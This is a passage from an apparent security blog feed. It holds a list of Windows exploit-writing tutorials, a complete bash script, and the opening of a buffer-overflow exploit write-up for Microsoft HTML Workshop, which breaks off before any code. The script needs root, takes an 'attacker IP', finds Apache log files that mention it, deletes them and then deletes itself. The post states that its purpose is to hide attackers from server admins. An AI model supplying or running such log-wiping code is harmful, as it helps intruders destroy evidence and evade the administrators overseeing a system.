<li><span style="color: #000000;">Exploit writting tutorial part 7: Unicode &#8211; from 0&#215;00410041 to calc &#8211; <a href="-http://www.corelan.be:8800/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 8: Win32 Egg Hunting </span><span style="color: #000000;">- <a href="http://www.corelan.be:8800/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 9: Introduction to Win32 shellcoding &#8211; <a href="-http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/ " target="_blank">here</a></span></li>
</ol>
<p>also he wrote a cool immunity debugger PyCommand called <a href="http://www.corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/" target="_blank">PveFindAddr</a> i think this python script is necessary for speed-up exploit development for newbie or expert exploit developers and i found it so useful , it have some cool features like finding instructions for code reuse and ROP also finding state of memory protections and finding best return address in your situation.</p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif; line-height: normal;">this is not complete lits of exploitation related book / articles list i just listed those had at least one windows specific chapter .</span></p>
<h2 style="text-align: center;">PART III : Future of exploitation</h2>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/haxor.gif"><img class="aligncenter size-thumbnail wp-image-1201" title="haxor" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/haxor-150x150.gif" alt="" width="150" height="150" /></a></p>
<p><strong><span style="color: #ff00ff;">Starrin</span><span style="font-family: arial, sans-serif;"><span style="line-height: 16px;"><span style="color: #ff00ff;">g : T.B.A </span></span></span></strong></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">1-</span> exploitation is not and will not die.</span></p>
<p><span style="color: #000000;">2- </span><span style="color: #000000;">just will change and being more harder also won&#8217;t be &#8221; just for fun&#8221; like before. </span></p>
<p><span style="color: #000000;">3- </span><span style="color: #000000;">writing reliable exploits will take time and time == money and now exploit development is acceptable specific job in security area !</span></p>
<p><span style="color: #000000;">4- </span><span style="color: #000000;">fame == money as well (also is lovely by itself) .  so you will see other great researches in various security fields ;)</span></p>
<p><span style="color: #000000;">5- </span><span style="color: #000000;">if you read all of resources exist in post you can be a great exploit developer ; )</span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">PS1 : during writing this post due to lots of links and peoples on it maybe i forgot some notable people / article you can alert me about them just by shahin [at] abysssec.com </span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">PS2 : i wrote this post so fast (and took long time !) i will edit my Misspellings and grammatical in good time.</span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">i need to go and take 0XCC00FFEE . </span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">have fun .</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/05/08/past-present-future-of-windows-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hidden Attack with clear log files in Unix , linux</title>
		<link>http://www.abysssec.com/blog/2009/01/31/hidden_attack_with_clear_log_file/</link>
		<comments>http://www.abysssec.com/blog/2009/01/31/hidden_attack_with_clear_log_file/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 14:37:14 +0000</pubDate>
		<dc:creator>amiri</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[log]]></category>
		<category><![CDATA[safe]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=265</guid>
		<description><![CDATA[Hey ! I&#8217;m back  some exams of university :D and &#8230;. Here is bash script for finding path of log files (Apache first and soon : all Logs) and deleting them for some attackers to be hidden from server admins !.Not bad ? Not good ? Where u use that !?. At first we find [...]]]></description>
			<content:encoded><![CDATA[<p>Hey ! I&#8217;m back   some exams of university :D and &#8230;.</p>
<p>Here is bash script for finding path of log files (Apache first and soon : all Logs) and deleting them for some attackers to be hidden from server admins !.Not bad ? Not good ? Where u use that !?.</p>
<p>At first we find path of directory contain some wanted logs and then searching line by line for log paths,finally founding attacker Ip in log files and removing log file. Be happy !</p>
<p>TEsTed On Debian etch4.0 and FreeBSD 6*</p>
<p>This is Rc 1. [download] : <a href="http://abysssec.com/files/apache-log-remover.txt">Log_f</a></p>
<p>and here is source code in bash :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/local/bin/bash</span>
<span style="color: #666666; font-style: italic;">### coded by t4z3v4r3d</span>
<span style="color: #666666; font-style: italic;">### recurse function : i m not sure who has write that .So thanks unknown man</span>
<span style="color: #666666; font-style: italic;">### made for FreeBSD First ....</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`id -u`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;$0 cant run as <span style="color: #007800;">$USER</span> Please Give me the root perms!!!!! &quot;</span>
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #007800;">patern</span>=<span style="color: #007800;">$2</span>
<span style="color: #007800;">fl</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>f.txt
<span style="color: #007800;">fd</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>find.txt
<span style="color: #007800;">length</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>l-f.txt
<span style="color: #007800;">log_f</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>log_f.txt
<span style="color: #007800;">log_final</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>final_log.txt
<span style="color: #007800;">null</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
<span style="color: #007800;">log_path</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>log_Found_.txt
<span style="color: #007800;">tm</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`date | cut -d &quot;:&quot; -f 1`</span>&quot;</span>
<span style="color: #007800;">os</span>=<span style="color: #007800;">$OSTYPE</span>
<span style="color: #666666; font-style: italic;"># you can add all paths for all os type !M$ windows IS NOT OS ....Exactly!</span>
<span style="color: #000000; font-weight: bold;">case</span> <span style="color: #007800;">$os</span> <span style="color: #000000; font-weight: bold;">in</span>
Linux<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
linux<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
freebsd<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">esac</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fl</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$fl</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fd</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$fd</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_f</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_f</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_final</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_final</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_path</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_path</span>
<span style="color: #c20cb9; font-weight: bold;">clear</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Enter attacker IP&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> <span style="color: #660033;">-e</span> ip
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`find $path -name apache &amp;gt;&amp;gt; $fl`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[3;2f Main path Found ....\033[0;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`find $path -name apache2 &amp;gt;&amp;gt; $fl`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
		<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Founded Apache2 Config files&quot;</span>
	<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">fi</span> 
&nbsp;
recurse <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #000000; font-weight: bold;">for</span> <span style="color: #c20cb9; font-weight: bold;">file</span> <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #007800;">$1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">do</span> <span style="color: #007800;">fqfn</span>=<span style="color: #007800;">$1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$file</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-d</span> <span style="color: #007800;">$fqfn</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; recurse <span style="color: #007800;">$fqfn</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #800000;">${#file}</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$len</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #007800;">len</span>=<span style="color: #800000;">${#file}</span> <span style="color: #007800;">name</span>=<span style="color: #007800;">$fqfn</span>; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$fqfn</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; recurse <span style="color: #007800;">$fqfn</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #800000;">${#file}</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$len</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #007800;">len</span>=<span style="color: #800000;">${#file}</span> <span style="color: #007800;">name</span>=<span style="color: #007800;">$fqfn</span>; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#########################################################</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$1</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;f=f+1&quot;</span>
	<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`ls $1 | grep -F .conf`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;t=t+1&quot;</span>
	<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-F</span> .log <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-v</span> <span style="color: #ff0000;">&quot;#&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">&quot; &quot;</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">2</span>  <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #007800;">$log_path</span>
	nom<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #007800;">$t</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`cat $1 | grep -F .log | grep -v &quot;#&quot; | wc -l`</span>&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;reading $1<span style="color: #000099; font-weight: bold;">\n</span> <span style="color: #780078;">`cat $1 | grep -F .log | grep -v &quot;#&quot;`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>r.txt
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;nt=nt+<span style="color: #007800;">${nom[$t]}</span>&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;j=<span style="color: #007800;">$nt</span>+<span style="color: #007800;">$t</span>&quot;</span>
	<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #666666; font-style: italic;">################################################################################</span>
<span style="color: #666666; font-style: italic;">### MOnitoring all acts</span>
<span style="color: #666666; font-style: italic;">################################################################################</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[3;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m Scanned Files  :\033[4;25f \033[1;37m<span style="color: #007800;">$f</span>\033[1;39m\033[4;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m Path(s) found  :\033[5;25f \033[1;37m<span style="color: #007800;">$l</span>\033[1;39m\033[5;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m pattern found  :\033[6;25f \033[1;37m<span style="color: #007800;">$t</span>\033[1;39m\033[6;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m pattern total  :\033[7;25f \033[1;37m<span style="color: #007800;">$j</span>\033[1;39m\033[7;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;30m\033[8;2f Scanning <span style="color: #780078;">`dirname ${1}`</span>:::\033[1;39m\033[8;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[9;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m&quot;</span>
<span style="color: #666666; font-style: italic;">##############################################################################</span>
<span style="color: #000000; font-weight: bold;">done</span> ; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
reader<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$fl</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line ;<span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`ls $line | grep .conf`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	recurse <span style="color: #007800;">$line</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;l=l+1&quot;</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
reader
&nbsp;
log_path_reader<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$log_path</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line ;<span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$line</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`cat $line | grep &quot;$ip&quot;`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-en</span> <span style="color: #ff0000;">&quot;\033[1;30mFounded[\033[1;31m&quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$line</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-c</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$ip</span>&quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #ff0000;">&quot;	\033[1;30m] <span style="color: #007800;">$ip</span> in	&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Removing <span style="color: #007800;">$line</span>&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$line</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$line</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m	... Done !\033[0;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;31m	...Failed!\033[1;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">else</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;30mFile [\033[1;31m&quot;</span><span style="color: #007800;">$line</span>    <span style="color: #ff0000;">&quot;\033[1;39mFile Dose not exist......\033[1;30m]&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;l2=l2+1&quot;</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[8;3f\033[1;31mpath= <span style="color: #007800;">$path</span> OS= <span style="color: #007800;">$os</span>\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[11;1f\033[1;30mScanning DONE!! NOW : Removing Log Files\033[0;0m&quot;</span>
&nbsp;
log_path_reader
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-en</span> <span style="color: #ff0000;">&quot;\033[1;30mRemoving 				   $0	&quot;</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fl</span> <span style="color: #007800;">$log_path</span> <span style="color: #007800;">$0</span>
&nbsp;
 <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span>  <span style="color: #007800;">$0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
 	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m	... Done !\033[0;0m&quot;</span>
 <span style="color: #000000; font-weight: bold;">else</span>
 	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;31m	...Failed!\033[1;0m&quot;</span>
 <span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;37m Mail: amiri@abysssec.com\033[0;0m&quot;</span></pre></div></div>

<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>daphne  :</p>
<p>Hi readers .</p>
<p>Thanks from mr.Amiri .</p>
<p>when we&#8217;re talking about the secret or hidden in server , Log files in unix , linux server , recorded everything . this script is usefull for [white hacker ] and manager to clear major log files .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/31/hidden_attack_with_clear_log_file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft HTML Workshop</title>
		<link>http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/</link>
		<comments>http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 09:25:51 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[egg hunter]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[stack]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=256</guid>
		<description><![CDATA[Microsoft HTML Workshop &#60;= 4.74 Universal Buffer Overflow Exploit - Another step towards perfect exploitation This is my next article explaining my second public exploit implementing my recent Shellhunting technique. Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but [...]]]></description>
			<content:encoded><![CDATA[<blockquote>
<h2><em><span style="color: #808080;"><strong>Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit -</strong></span></em></h2>
<h3><em><span style="text-decoration: underline;"><span style="color: #808080;"><strong>Another step towards perfect exploitation</strong></span></span></em></h3>
</blockquote>
<p>This is my next article explaining my second <em>public</em> exploit implementing my recent <span style="color: #800000;"><em>Shellhunting</em></span> <span style="color: #000000;">technique. </span></p>
<p><span style="color: #000000;">Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.</span></p>
<p><span style="color: #000000;">The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit? </span></p>
<p><span style="color: #000000;">Here is why:-</span></p>
<ol>
<li><span style="color: #808080;"><em>To overflow the buffer, 280 bytes and above are needed, this isn&#8217;t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.</em></span></li>
<li><span style="color: #808080;"><em>To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.<br />
</em></span></li>
<li><span style="color: #808080;"><em>This address includes a &#8220;\x00&#8243; byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.</em></span></li>
</ol>
<p>Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.<span style="color: #000000;">With the Shellhunter the shellcode may even include NULL bytes! </span></p>
<p>Lets recap what a shellhunter does:-</p>
<ol>
<li><span style="color: #808080;"><em>Searches through memory for a certain &#8220;lookout&#8221; value that when located will revert program execution flow to the address at the &#8220;lookout&#8221;. Also the &#8220;lookout&#8221; values must be a set of friendly instructions that will not cause an unneeded &#8220;Access Violation&#8221;.</em></span></li>
<li><span style="color: #808080;"><em>In this case there is no need for it to be alphanumerical, also size does not matter.</em></span></li>
</ol>
<p><span style="color: #808080;"><span style="color: #000000;">The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape&#8217;s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method ;) ).</span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the <em>whole </em>memory with the shellhunter. </span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Of course there are a few problems that come to mind with that:</span></span></p>
<ul>
<li>Access Violations will occur when retrieving data from an invalid address.</li>
<li>We need to store the variable which is address currently searched.</li>
